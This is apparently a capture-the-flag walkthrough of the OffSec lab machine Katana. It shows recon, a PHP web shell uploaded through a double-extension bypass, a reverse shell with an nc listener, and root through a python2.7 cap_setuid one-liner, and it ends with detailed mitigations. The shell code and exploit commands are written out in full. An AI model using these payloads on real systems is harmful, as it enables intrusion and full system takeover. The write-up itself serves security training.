Katana is a multi-port machine that hides its entry point in plain sight. Five services are open, but the one that matters most is LiteSpeed on port 8088 — it hosts an unrestricted file upload form at upload.php. The trick is that uploaded files are silently moved to a directory served by a different web server: nginx on port 8715. Exploiting the mismatch requires understanding how LiteSpeed handles double-extension filenames: a file named shell.jpg.php is treated as a PHP file by LiteSpeed during processing, but accepted by the upload form because the filename ends with .jpg.php, not .php alone. Upload the shell, trigger it on port 8715, and a www-data shell lands. Privilege escalation requires no guesswork — getcap immediately surfaces /usr/bin/python2.7 with cap_setuid+ep. One line of Python sets the UID to 0 and drops into root.
Press enter or click to view image in full size
Attack Path: upload.php (double-extension bypass) → shell.jpg.php → RCE as www-data (port 8715) → python2.7 cap_setuid capability → os.setuid(0) (root)
Platform: OffSec Proving Grounds Play
Machine: Katana
Difficulty: Easy
OS: Linux (Debian 10)
Date: 2026–04–01
Table of Contents
1. Reconnaissance
1.1 Nmap Port Scan
1.2 Web Enumeration — Port 80
1.3 Web Enumeration — Port 8088 (LiteSpeed)
2. Initial Access — Double-Extension PHP Upload via Port 8088
2.1 Discovering upload.php
2.2 The Cross-Port Upload Mechanic
2.3 Uploading the Web Shell (shell.jpg.php)
2.4 Confirming RCE via Port 8715
2.5 Upgrading to a Reverse Shell
3. Privilege Escalation — python2.7 cap_setuid Capability
4. Proof of Compromise
5. Vulnerability Summary
6. Defense & Mitigation
6.1 Unrestricted File Upload with Double-Extension Bypass
6.2 Uploaded Files Served by a Second Web Server Without Execution Controls
6.3 python2.7 Granted cap_setuid+ep Capability1. Reconnaissance
1.1 Nmap Port Scan
nmap -Pn -A -p- --open <TARGET_IP>Results:
Port State Service Version
------- ----- ------- -----------------------------------------------
21/tcp open FTP vsftpd 3.0.3
22/tcp open SSH OpenSSH 7.9p1 Debian 10+deb10u2
80/tcp open HTTP Apache httpd 2.4.38 (Debian) — "Katana X"
7080/tcp open HTTPS LiteSpeed (TLS, expired cert 2020–2022)
8088/tcp open HTTP LiteSpeed — "Katana X", phpinfo.php present
8715/tcp open HTTP nginx 1.14.2 — returns 401 UnauthorizedSix ports. FTP, SSH, Apache on 80, LiteSpeed on both 7080 and 8088, and nginx on 8715, returning a 401. The expired TLS certificate on 7080 is immediately suspicious — it was valid only until May 2022, a strong indicator that this server has not been maintained. The presence of phpinfo.php on port 8088 is the most useful early signal: it confirms PHP is active on LiteSpeed. The nginx 401 on 8715 is worth noting — authentication required suggests something is being protected there.
FTP on 21 turned out to accept no anonymous login and had nothing useful. The web servers are where the story unfolds.
1.2 Web Enumeration — Port 80
gobuster dir -u http://<TARGET_IP>/ -w /usr/share/dirb/wordlists/common.txtResults:
Path Status Notes
-------- ------ ----------------------------
/ebook 301 Redirects to /ebook/
/index.html 200 Static landing pagePort 80 is a dead end. The /ebook/ directory contains a static book listing with no upload functionality and no dynamic content. Everything interesting is on the LiteSpeed instance.
1.3 Web Enumeration — Port 8088 (LiteSpeed)
gobuster dir -u http://<TARGET_IP>:8088 \
-w /usr/share/dirb/wordlists/common.txt \
-x php,txt,htmlResults:
Path Status Notes
----------- ------ ----------------------------
/phpinfo.php 200 Full PHP configuration dump
/upload.php 200 File upload handler
/upload.html 200 Upload form — two file inputs
/protected 301 Access restricted
/cgi-bin 301 PresentPress enter or click to view image in full size
upload.php and upload.html are the targets. phpinfo.php Being publicly accessible is a secondary finding — it exposes the full PHP configuration, version details, loaded modules, and file system paths to any visitor.
2. Initial Access — Double-Extension PHP Upload via Port 8088
2.1 Discovering upload.php
curl -s http://<TARGET_IP>:8088/upload.html | grep -iE "form|input|type=\"file\""Output:
<form id="upload" action="upload.php" target="resultwindow" method="post" enctype="multipart/form-data">
<input type="file" name="file1" />
<input type="file" name="file2" />
<p><input type="submit" /></p>
</form>Press enter or click to view image in full size
The form accepts two file uploads simultaneously, posts to upload.php, and opens the response in a target window named resultwindow. No client-side validation is visible. The next question is what the server does with uploaded files.
2.2 The Cross-Port Upload Mechanic
Uploading a test file to upload.php and reading the server's response reveals the mechanism:
File : file1
Name : shell.jpg.php
Type : application/octet-stream
Path : /tmp/phpffPBAt
Size : 31Moved to other web server: /tmp/phpffPBAt ===> /opt/manager/html/katana_shell.jpg.php
MD5 : fc023fcacb27a7ad72d605c4e300b389
Size : 31 bytesThe upload handler on port 8088 (LiteSpeed) receives the file and then moves it to /opt/manager/html/ the document root of a different web server. That path is served by nginx on port 8715. The file is accessible at:
http://<TARGET_IP>:8715/katana_shell.jpg.phpThis cross-port mechanic is the critical insight. The upload accepts and processes files on port 8088, but execution happens on port 8715. Any file placed in /opt/manager/html/ with a PHP-executable extension will be served — and executed — by nginx on port 8715.
💡 The double-extension filename
shell.jpg.phpis the extension bypass. The upload handler sees.jpg.phpand either does not validate extensions strictly or treats the last segment as the MIME hint. LiteSpeed executes it as PHP because the true final extension is.php. This is a classic double-extension bypass.
2.3 Uploading the Web Shell (shell.jpg.php)
Create the web shell locally:
echo '<?php system($_GET["cmd"]); ?>' > shell.jpg.phpUpload it via curl:
curl -X POST http://<TARGET_IP>:8088/upload.php \
-F "[email protected]" \
-F "submit=Submit"Press enter or click to view image in full size
The response confirms the file was accepted and moved to /opt/manager/html/katana_shell.jpg.php on the server.
2.4 Confirming RCE via Port 8715
curl "http://<TARGET_IP>:8715/katana_shell.jpg.php?cmd=id"Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)Remote code execution confirmed as www-data. The shell is live on port 8715 and executing system commands. The upload form on port 8088 fed the shell to the nginx-served directory, and nginx on 8715 executed it without restriction.
2.5 Upgrading to a Reverse Shell
Create a pentestmonkey PHP reverse shell, save it as rev.jpg.php, and upload it the same way:
curl -X POST http://<TARGET_IP>:8088/upload.php \
-F "[email protected]" \
-F "submit=Submit"Start the listener:
nc -lvnp 4444Trigger the uploaded reverse shell:
curl "http://<TARGET_IP>:8715/katana_rev.jpg.php"Shell received:
Connection received on <TARGET_IP> 52900
www-data@katana:/opt/manager/html$Interactive shell as www-data.
3. Privilege Escalation — python2.7 cap_setuid Capability
Linux capabilities allow fine-grained privilege delegation below the level of full SUID. Rather than making a binary run as root, capabilities grant specific kernel-level privileges to a process. cap_setuid is one of the most dangerous: it allows a process to call setuid() to change its own UID to any value — including 0.
getcap -r / 2>/dev/nullOutput:
/usr/bin/ping = cap_net_raw+ep
/usr/bin/python2.7 = cap_setuid+ep/usr/bin/python2.7 has cap_setuid+ep. The +ep suffix means the capability is both permitted and effective — it activates immediately when the binary runs, no special invocation needed. This is equivalent in effect to a SUID bit, but applied at the capability level rather than the file permission level.
Get Roshan Rajbanshi’s stories in your inbox
Join Medium for free to get updates from this writer.
One line of Python calls os.setuid(0) to set the process UID to root, then drops into a bash shell:
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash")'Output:
id
uid=0(root) gid=33(www-data) groups=33(www-data)Press enter or click to view image in full size
Root. The GID remains www-data — only the UID was changed — but uid=0 is sufficient for full system access.
4. Proof of Compromise
uid=0(root) gid=33(www-data) groups=33(www-data)5. Vulnerability Summary
# Vulnerability Severity Impact
-- ----------------------------------------------- --------- -----------------------------------------------
1 Unrestricted file upload — double-extension bypass Critical PHP web shell uploaded and executed as www-data
2 Uploaded files served without execution controls Critical Shell moved to nginx root and executed on port 8715
3 phpinfo.php publicly accessible Medium Full PHP config and paths exposed unauthenticated
4 python2.7 granted cap_setuid+ep capability Critical Local privilege escalation to uid=0 (root)6. Defense & Mitigation
6.1 Unrestricted File Upload with Double-Extension Bypass
Root Cause: The upload.php handler on port 8088 accepted files with double-extension names like shell.jpg.php. The server treated the final extension (.php) as the execution type, while the upload handler either failed to validate extensions strictly or was bypassed by the double-extension trick. The result was arbitrary PHP code uploaded and made executable.
Mitigations:
- Validate file extensions server-side using a strict allowlist. The only safe approach is to define which extensions are permitted and reject everything else. Never rely on the final extension alone — strip all extensions and check the cleaned result against the allowlist.
$allowed = ['jpg', 'jpeg', 'png', 'gif'];
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
if (!in_array($ext, $allowed, true)) {
die("File type not permitted.");
}- Validate file content using magic bytes, not just extension. An attacker can name any file with any extension. Use
finfo_file()to check the actual MIME type based on the file's binary content, and reject anything that does not match the expected type. - Rename uploaded files on the server. Never preserve the original filename. Store files under a random UUID with no extension, and track the original name in a database. A file with no extension cannot be executed by any web server.
- Remove
phpinfo.phpfrom all publicly accessible locations. The full PHP configuration dump it returns — including file system paths, loaded extensions, and server variables — is reconnaissance gold for an attacker. It has no place on a production server.
6.2 Uploaded Files Served by a Second Web Server Without Execution Controls
Root Cause: Files uploaded to port 8088 (LiteSpeed) were moved to /opt/manager/html/, which was the document root of a separate nginx instance on port 8715. Nginx served these files with no restriction on PHP execution. An uploaded PHP file was therefore immediately executable via port 8715 without any further bypass required.
Mitigations:
- Never store uploaded files in any web-served directory. Uploaded files belong in a directory outside the web root — a path that no web server can reach directly. Serve files to users through a controller script that reads from storage and streams the content, never by direct URL access.
- If files must be served directly, disable script execution in the upload directory. Configure nginx to serve that path as static content only:
location /uploads/ {
add_header Content-Type application/octet-stream;
try_files $uri =404;
}- This prevents nginx from passing uploaded files to PHP-FPM or any other execution backend.
- Understand the full data flow of uploaded files before deploying any upload feature. In this case, the LiteSpeed upload handler on port 8088 silently moved files to a directory served by a completely different server on port 8715. That cross-port movement was invisible from the LiteSpeed side and created a blind spot in any security review. Map the entire path a file takes from upload to final rest before going live.
- Isolate web server instances from each other’s document roots. Two separate web servers should never share a writable document root. Each server’s files should be owned and accessible only by that server’s process user.
6.3 python2.7 Granted cap_setuid+ep Capability
Root Cause: /usr/bin/python2.7 was granted the cap_setuid+ep Linux capability, allowing any process that executes it to call setuid() with any UID — including 0. Because Python can run arbitrary code, this is functionally equivalent to a SUID root binary.
Mitigations:
- Remove the capability immediately.
setcap -r /usr/bin/python2.7- Verify:
getcap /usr/bin/python2.7# (no output - capability removed)- Audit all binaries with elevated capabilities.
getcap -r / 2>/dev/null- Any capability on a scripting language, interpreter, or shell is a critical finding. Capabilities are designed for specific, narrow binaries — not general-purpose tools.
- Retire Python 2.7. Python 2 reached end-of-life in January 2020 and receives no security updates. Running it in a production environment in 2026 is indefensible. Migrate to Python 3. If a capability is genuinely required for a specific Python task, apply it to a purpose-built script, not to the interpreter binary itself.
- Understand the difference between SUID and capabilities. A capability like
cap_setuid+epis not visible in a standardls -lalisting — it does not set the SUID bit. It will not be caught byfind / -perm -u=s. Capability auditing requiresgetcapand should be a standard part of every privilege escalation enumeration checklist, alongside SUID binaries, writable cron jobs, and sudo rules. - Include capabilities in file integrity monitoring baselines.
aideandtripwirecan be configured to track extended attributes, including capabilities. Any unexpected capability addition to a binary should generate an immediate alert.
OffSec PG Play — for educational purposes only.